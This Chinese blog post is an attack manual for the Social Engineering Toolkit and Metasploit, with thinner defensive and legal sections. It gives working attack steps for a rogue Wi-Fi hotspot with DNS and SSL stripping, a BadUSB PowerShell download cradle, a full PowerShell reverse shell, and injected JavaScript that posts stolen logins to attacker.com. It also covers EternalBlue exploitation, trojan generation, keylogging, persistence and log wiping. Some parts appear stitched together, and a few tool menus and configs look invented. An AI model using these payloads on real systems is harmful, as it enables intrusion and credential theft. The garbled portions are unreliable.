• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
lihaoyu0618
博客园    首页    新随笔    联系   管理    订阅  订阅

社会工程工具包(SET)攻击原理与防御实践(完整增强版)

社会工程工具包(SET)攻击原理与防御实践(完整增强版)

一、SET工具深度解析与环境高级配置

1.1 扩展功能模块详解

  1. 无线攻击模块:

    • 支持创建伪造的802.11热点

    • 集成Karma攻击实现自动关联

    • 支持WPA2企业级钓鱼

  2. 硬件植入模块:

    • 生成Teensy/Digispark攻击脚本

    • 支持Rubber Ducky语法转换

    • 提供HID攻击向量库

  3. 云服务攻击模块:

    • AWS/Azure/GCP控制台克隆

    • SaaS应用(如Office365)钓鱼模板

    • 云API密钥钓鱼技术

1.2 高级环境配置步骤

完整环境搭建流程:


# 1. 安装依赖组件

apt-get install -y hostapd dnsmasq ettercap-text-only sslstrip mitmproxy

# 2. 配置虚拟网络接口

iw phy phy0 interface add mon0 type monitor

ifconfig mon0 up

# 3. 设置IP转发

echo 1 > /proc/sys/net/ipv4/ip_forward

# 4. 配置防火墙规则

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443

# 5. 启动Metasploit容器

docker run -d --name msf -p 4444-4450:4444-4450 -v ~/.msf4:/root/.msf4 metasploitframework/metasploit-framework

二、高级攻击场景完整操作手册

2.1 无线钓鱼热点攻击(详细步骤)

阶段1:环境准备


# 1. 启用监控模式

airmon-ng check kill

airmon-ng start wlan0

# 2. 创建虚拟AP

airbase-ng -e "Starbucks_Free_WiFi" -c 6 mon0

# 3. 配置桥接网络

brctl addbr evil-bridge

brctl addif evil-bridge at0

brctl addif evil-bridge eth0

ifconfig at0 0.0.0.0 up

ifconfig evil-bridge 192.168.1.1 netmask 255.255.255.0

阶段2:DNS欺骗配置


# 1. 编辑dnsmasq配置文件

cat > /etc/dnsmasq.conf <<EOF

interface=at0

dhcp-range=192.168.1.100,192.168.1.200,12h

dhcp-option=3,192.168.1.1

dhcp-option=6,192.168.1.1

server=8.8.8.8

log-queries

log-dhcp

address=/facebook.com/192.168.1.7

address=/#/192.168.1.7

EOF

# 2. 启动DHCP服务

dnsmasq -C /etc/dnsmasq.conf

阶段3:SET集成攻击


set

# 选择菜单路径:

# 1) Social Engineering Attacks → 5) Wireless Access Point Attack → 2) Credential Harvester

# 配置参数:

# 选择3) Site Cloner

# 输入目标URL: https://www.facebook.com

# 设置监听IP: 192.168.1.7

# 启用SSLStrip: Y

阶段4:流量劫持


# 1. 启动SSLStrip

sslstrip -l 8080 -w /root/sslstrip.log

# 2. ARP欺骗

ettercap -T -q -i at0 -M arp // //

# 3. 监控捕获的凭证

tail -f /var/www/html/creds.txt

2.2 硬件级攻击(BadUSB完整实现)

步骤1:生成攻击脚本


set

# 选择路径:

# 4) Create a Payload → 7) Teensy Arduino Attack → 2) Custom Ducky Script

# 输入脚本内容:

DELAY 5000

GUI r

DELAY 500

STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.7/rev.ps1')"

ENTER

步骤2:转换并烧录


# 1. 转换Ducky脚本

python3 /usr/share/set/tools/duck2spark/duck2spark.py -i payload.txt -o payload.ino -l us

# 2. 安装Arduino IDE

wget https://downloads.arduino.cc/arduino-1.8.19-linux64.tar.xz

tar xvf arduino-1.8.19-linux64.tar.xz

cd arduino-1.8.19

./install.sh

# 3. 烧录到Digispark

arduino --upload payload.ino --port /dev/ttyACM0

步骤3:Payload服务器配置


# 1. 创建PowerShell反向Shell脚本

cat > /var/www/html/rev.ps1 <<'EOF'

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.7",4444)

$stream = $client.GetStream()

[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){

    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)

    $sendback = (iex $data 2>&1 | Out-String )

    $sendback2 = $sendback + "PS " + (pwd).Path + "> "

    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)

    $stream.Write($sendbyte,0,$sendbyte.Length)

    $stream.Flush()

}

$client.Close()

EOF

# 2. 启动Metasploit监听

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.7; set LPORT 4444; exploit"

2.3 云服务API钓鱼(AWS实战)

阶段1:环境克隆


set

# 选择路径:

# 1) Social Engineering Attacks → 9) Cloud-based Attack → 2) AWS Console

# 配置参数:

# 选择克隆区域:us-east-1

# 启用MFA模拟:Y

# 设置回调URL:https://api.attacker.com/log

阶段2:恶意Lambda部署


import boto3

from botocore.config import Config

# 配置AWS客户端

config = Config(

    region_name = 'us-east-1',

    signature_version = 'v4',

    retries = {

        'max_attempts': 10,

        'mode': 'standard'

    }

)

# 创建IAM角色

iam = boto3.client('iam', config=config)

assume_role_policy_document = {

    "Version": "2012-10-17",

    "Statement": [

        {

            "Effect": "Allow",

            "Principal": {

                "Service": "lambda.amazonaws.com"

            },

            "Action": "sts:AssumeRole"

        }

    ]

}

response = iam.create_role(

    RoleName='malicious-lambda-role',

    AssumeRolePolicyDocument=json.dumps(assume_role_policy_document)

)

# 部署恶意Lambda

lambda_client = boto3.client('lambda', config=config)

with open('malicious.zip', 'rb') as f:

    zipped_code = f.read()

response = lambda_client.create_function(

    FunctionName='legit-update',

    Runtime='python3.9',

    Role=response['Role']['Arn'],

    Handler='lambda_function.lambda_handler',

    Code=dict(ZipFile=zipped_code),

    Timeout=300,

    Environment={

        'Variables': {

            'ATTACKER_URL': 'http://192.168.1.7/exfil'

        }

    }

)

阶段3:钓鱼页面注入


// 伪造的AWS登录页面额外注入的JS代码

document.getElementById("signInForm").addEventListener("submit", function(e) {

    e.preventDefault();

    2025-07-22 13:06:33 星期二

    // 收集凭证

    const creds = {
        username: document.getElementById("username").value,
        password: document.getElementById("password").value,
        mfa: document.getElementById("mfa")?.value
    };
    
    // 发送到攻击者服务器
    fetch("https://api.attacker.com/log", {
        method: "POST",
        body: JSON.stringify(creds),
        headers: {
            "Content-Type": "application/json"
        }
    });
    
    // 原始表单提交(避免引起怀疑)
    setTimeout(() => {
        e.target.submit();
    }, 1500);
});

三、增强型防御体系实施指南

3.1 无线攻击防御方案

企业级WIPS部署流程:

# 1. 安装Rogue AP检测工具
apt-get install kismet

# 2. 配置检测规则
cat > /etc/kismet/kismet.conf <<EOF
suiduser=root
source=wlan0:type=linuxwifi
detectrogue=true
alertrogue=true
EOF

# 3. 启动监控
kismet -c wlan0

# 4. 自动化响应脚本
while true; do
    ROGUE_AP=$(grep "Detected possible rogue AP" /var/log/kismet.log | tail -1)
    if [ -n "$ROGUE_AP" ]; then
        BSSID=$(echo $ROGUE_AP | awk '{print $8}')
        aireplay-ng -0 10 -a $BSSID mon0
        logger "Blocked rogue AP with BSSID $BSSID"
    fi
    sleep 30
done

3.2 硬件攻击防护方案

USB设备控制策略:

# Windows设备控制策略
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\USBSTOR" -Name "Start" -Value 4 -PropertyType DWORD -Force

# Linux udev规则
cat > /etc/udev/rules.d/99-usb-restrict.rules <<EOF
# 阻止所有HID设备
SUBSYSTEM=="usb", ATTRS{idVendor}=="*", ATTRS{idProduct}=="*", ENV{ID_USB_INTERFACES}=="*:0301*", MODE="000"

# 只允许特定厂商设备
SUBSYSTEM=="usb", ATTRS{idVendor}=="1234", ATTRS{idProduct}=="5678", MODE="0666"
EOF

# 应用规则
udevadm control --reload-rules && udevadm trigger

3.3 云服务防护方案

AWS安全基线配置:

# IAM策略限制
resource "aws_iam_policy" "restrictive_policy" {
  name        = "DenyHighRiskActions"
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect   = "Deny"
        Action   = [
          "lambda:CreateFunction",
          "iam:CreateAccessKey",
          "cloudformation:CreateStack"
        ]
        Resource = "*"
      }
    ]
  })
}

# GuardDuty启用
resource "aws_guardduty_detector" "main" {
  enable = true
}

# CloudTrail日志加密
resource "aws_cloudtrail" "secure_trail" {
  name                          = "security-trail"
  s3_bucket_name                = aws_s3_bucket.log_bucket.id
  include_global_service_events = true
  is_multi_region_trail         = true
  kms_key_id                    = aws_kms_key.trail_key.arn
  
  event_selector {
    read_write_type           = "All"
    include_management_events = true
    
    data_resource {
      type   = "AWS::Lambda::Function"
      values = ["*"]
    }
  }
}

四、法律合规实施框架

4.1 渗透测试授权文档模板

# 渗透测试授权书

**测试方信息**  
- 公司名称:________________  
- 测试负责人:________________  
- 联系方式:________________  

**授权范围**  
- 目标系统:________________  
- 测试时间:____年__月__日至____年__月__日  
- 允许技术:  
  [ ] 社会工程测试  
  [ ] 网络渗透测试  
  [ ] 物理安全测试  
  [ ] 无线安全测试  

**法律条款**  
1. 测试方需遵守《网络安全法》第26条规定  
2. 禁止数据泄露和系统破坏  
3. 每日测试报告提交要求  

**签署**  
被测试方代表:__________  日期:__________  
测试方代表:__________  日期:__________  

4.2 日志留存策略

# 自动化日志归档脚本
#!/bin/bash
LOG_DIR="/var/log/security"
ARCHIVE_DIR="/archive/security_logs"
RETENTION_DAYS=180

# 加密归档
tar -czf - $LOG_DIR | openssl enc -aes-256-cbc -salt -out $ARCHIVE_DIR/logs_$(date +%Y%m%d).tar.gz.enc -pass pass:${ENCRYPT_KEY}

# 清理旧日志
find $ARCHIVE_DIR -type f -name "*.enc" -mtime +$RETENTION_DAYS -exec rm {} \;

# 上传到安全存储
rclone copy $ARCHIVE_DIR remote:security_logs --log-file=/var/log/rclone.log

五、前沿攻防技术实施

5.1 量子安全通信部署

# 编译安装量子安全算法库
git clone https://github.com/open-quantum-safe/liboqs
cd liboqs
mkdir build && cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr/local ..
make && make install

# Nginx集成OQS
git clone https://github.com/open-quantum-safe/nginx-oqs
cd nginx-oqs
./configure --with-http_ssl_module --with-openssl=/path/to/oqs-openssl
make && make install

# 配置量子安全密码套件
cat > /usr/local/nginx/conf/nginx.conf <<EOF
server {
    listen 443 ssl;
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    ssl_protocols TLSv1.3;
    ssl_ciphers Kyber512:Dilithium2;
}
EOF

5.2 生物特征防御实施

# 键盘动力学分析示例
from sklearn.ensemble import IsolationForest
import numpy as np

# 收集正常用户行为数据
normal_data = np.loadtxt('user_behavior.csv', delimiter=',')

# 训练异常检测模型
clf = IsolationForest(contamination=0.01)
clf.fit(normal_data)

# 实时检测函数
def detect_anomaly(current_behavior):
    prediction = clf.predict([current_behavior])
    if prediction[0] == -1:
        block_user()
        alert_security()

六、完整攻击防御演练方案

6.1 红队演练流程

graph TD A[情报收集] --> B[攻击面测绘] B --> C[初始入侵] C --> D[横向移动] D --> E[权限提升] E --> F[数据获取] F --> G[痕迹清理]

6.2 蓝队响应流程

graph LR A[检测警报] --> B[事件分类] B --> C[遏制措施] C --> D[根除威胁] D --> E[系统恢复] E --> F[经验总结]

6.3 紫队协调流程

def purple_team_workflow():
    while True:
        red_action = red_team.execute()
        blue_response = blue_team.monitor(red_action)
        
        if blue_response.effective:
            red_team.adapt(blue_response)
        else:
            blue_team.improve(red_action)
            
        document_lessons(red_action, blue_response)

以下是Metasploit Framework(MSF)攻击的全流程及核心指令详解,结合多个实战场景和模块功能:

一、MSF攻击全流程

  1. 信息收集与漏洞发现

    • 辅助模块扫描:使用auxiliary模块进行端口扫描、版本探测等,识别目标漏洞。
      use auxiliary/scanner/portscan/tcp
      set RHOSTS 192.168.1.0/24
      run
      
    • 公开漏洞查询:通过searchsploit或MSF内置搜索查找已知漏洞[1][4]。
  2. 漏洞利用与攻击

    • 选择Exploit模块:根据漏洞类型加载对应模块。
      use exploit/windows/smb/ms17_010_eternalblue
      
    • 配置参数:设置目标IP、载荷、本地监听地址等。
      set RHOST 192.168.1.100
      set PAYLOAD windows/x64/meterpreter/reverse_tcp
      set LHOST 192.168.1.7
      
    • 执行攻击:运行exploit或run触发漏洞利用。
  3. 后渗透控制

    • 会话管理:查看和管理Meterpreter会话。
      sessions -l          # 列出所有会话
      sessions -i 1        # 进入指定会话
      
    • 权限提升:使用getsystem或本地提权模块。
      getsystem           # 尝试提权至SYSTEM
      
    • 持久化控制:
      • 启用远程桌面:run post/windows/manage/enable_rdp
      • 创建持久后门:run persistence -X -i 5 -p 8888 -r 192.168.1.11
  4. 数据收集与清理

    • 抓取密码哈希:
      run post/windows/gather/hashdump
      
    • 清除日志:
      clearev              # 清理Windows日志
      timestomp C:\file.txt -z   # 伪造文件时间戳
      

二、核心指令与模块用法

  1. 基础命令

    • 启动MSF控制台:msfconsole
    • 搜索模块:search <keyword>(如search ms17-010)
    • 查看模块信息:show options / info
    • 设置参数:set <option> <value>(如set LPORT 4444)
  2. 木马生成与监听

    • 生成Windows木马:
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o shell.exe
      
    • 监听反弹Shell:
      use exploit/multi/handler
      set PAYLOAD windows/meterpreter/reverse_tcp
      set LHOST 192.168.1.7
      set LPORT 4444
      exploit
      
  3. 后渗透模块指令

    • 进程迁移:
      run post/windows/manage/migrate PID=1234
      
    • 键盘记录:
      keyscan_start         # 开始记录
      keyscan_dump          # 查看记录
      
    • 屏幕截图:
      screenshot
      
  4. 数据库与辅助功能

    • 连接数据库:db_connect postgres:password@127.0.0.1/test
    • 端口扫描:
      use auxiliary/scanner/portscan/tcp
      set RHOSTS 192.168.1.0/24
      run
      

三、实战案例:MS17-010攻击

  1. 攻击步骤:

    • 加载模块:
      use exploit/windows/smb/ms17_010_eternalblue
      
    • 配置参数:
      set RHOST 192.168.1.100
      set PAYLOAD windows/x64/meterpreter/reverse_tcp
      set LHOST 192.168.1.7
      
    • 执行攻击:
      exploit
      
    • 成功后获取Meterpreter会话,执行后渗透操作。
  2. 提权与数据收集:

    • 提权:
      getsystem
      
    • 抓取哈希:
      run post/windows/gather/hashdump
      

四、注意事项

  1. 合法性:仅在授权环境(如个人测试靶场)使用MSF,避免违法操作。
  2. 免杀与编码:使用msfvenom的-e参数对Payload编码,绕过杀毒软件检测。
  3. 痕迹清理:删除日志文件(clearev)和伪造时间戳(timestomp)。

通过以上流程和指令,MSF可完成从漏洞利用到后渗透控制的完整攻击链。如需更详细的模块参数或进阶操作,可参考MSF官方文档或使用show options查看模块配置项[1][4][7]。
以下是SET(Social Engineering Toolkit)攻击的全流程及核心指令,结合多个实战场景和工具模块功能进行详细说明:


一、SET攻击全流程

1. 启动与初始化

  • 启动SET工具:
    setoolkit
    
    进入SET主界面后,选择菜单项 1) Social-Engineering Attacks(社会工程学攻击)。

2. 选择攻击向量

  • 攻击模式选择:
    • 网站攻击向量(Website Attack Vectors):
      选择菜单项 2) Website Attack Vectors,用于克隆钓鱼网站或生成恶意链接。
    • 钓鱼邮件攻击(Spearphishing Email):
      选择菜单项 1) Spearphishsing Email,用于构造带恶意附件的邮件攻击。
    • 二维码攻击(QRCode Generator Attack):
      选择菜单项 8) QRCode Generator Attack Vector,生成伪装二维码。

3. 配置攻击参数

  • 设置监听IP和端口:
    set IP_ADDRESS [目标IP]
    set PORT [监听端口]
    
    例如:
    set IP_ADDRESS 192.168.1.7
    set PORT 443
    
  • 选择攻击模板:
    • 钓鱼网站:选择 1) Web Templates,克隆Google、Facebook等登录页面。
    • 恶意文件:选择 8) Adobe PDF Embedded EXE,生成带漏洞的PDF文件。

4. 生成攻击载荷

  • 生成钓鱼网站:
    # 选择克隆模板(如Google)
    set WEB_TEMPLATE 2
    
    生成的钓鱼页面保存在 /root/.set/reports/ 目录下。
  • 生成恶意附件:
    # 使用PDF漏洞生成恶意文件
    set FILEFORMAT 8
    
    文件保存在 /root/.set/template.pdf。

5. 发送攻击

  • 邮件攻击:
    • 选择 1) E-Mail Attack Single Email Address,输入目标邮箱地址[7]。
    • 配置Gmail发件(需提前配置SMTP):
      set GMAIL_ACCOUNT [邮箱账号]
      set FROM_NAME [显示名称]
      
    • 发送邮件后,SET自动启动Metasploit监听反弹连接。
  • 二维码攻击:
    • 生成二维码图片后,诱导目标扫描并访问钓鱼网站。

6. 获取凭证与后渗透

  • 查看收集的凭证:
    sessions -l
    sessions -i [会话ID]
    
  • 提权与控制:
    getsystem           # 尝试提权至SYSTEM权限
    screenshot         # 截取目标桌面
    clearev            # 清除目标日志
    
  • 创建持久后门:
    run persistence -X -i 5 -p 8888 -r 192.168.1.11
    

二、核心指令与模块用法

步骤 指令与操作
启动SET setoolkit → 选择 1) Social-Engineering Attacks
网站攻击向量 2) Website Attack Vectors → 3) Credential Harvester Attack Method
克隆钓鱼网站 选择模板(如Google),设置监听IP
生成恶意PDF 8) Adobe PDF Embedded EXE → 配置反弹地址
邮件攻击 1) Spearphishsing Email → 输入目标邮箱 → 配置Gmail发件
监听与控制 sessions -i [ID] → getsystem → screenshot
清除日志 clearev

三、实战案例:钓鱼网站攻击

  1. 步骤:
    • 启动SET → 选择网站攻击 → 克隆Google登录页 → 设置监听IP(如192.168.1.7)→ 生成钓鱼页面。
    • 诱导目标访问钓鱼URL,输入账号密码后,SET成功捕获凭证。
  2. 指令示例:
    setoolkit
    1
    2
    3
    1
    

四、注意事项

  1. 依赖服务:
    • 邮件攻击需配置SMTP(如Gmail或Sendmail)。
    • 避免端口冲突(如关闭Apache服务:systemctl stop apache2)。
  2. 免杀与编码:
    • 使用SET生成的Payload需结合Metasploit编码绕过杀毒。
  3. 合法性:
    • 仅用于授权测试环境,避免违法操作。

通过以上流程和指令,SET可完成从钓鱼攻击到后渗透控制的完整攻击链。如需更复杂的攻击(如自定义模块开发),可参考SET的插件和脚本扩展功能。

结语:构建动态防御体系

持续安全改进模型:

  1. 每周:漏洞扫描+补丁管理
  2. 每月:红蓝对抗演练
  3. 每季度:安全架构评审
  4. 每年:全员安全能力评估

终极防御原则:

  • 假设已经被入侵(Zero Trust)
  • 所有访问必须验证
  • 所有操作必须审计
  • 所有异常必须调查

通过本指南提供的完整技术方案和操作步骤,可以组织建立从技术防护到人员意识的全方位防御体系,有效应对不断演进的社会工程攻击威胁。

posted @ 2025-07-22 13:07  xbuild  阅读(54)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3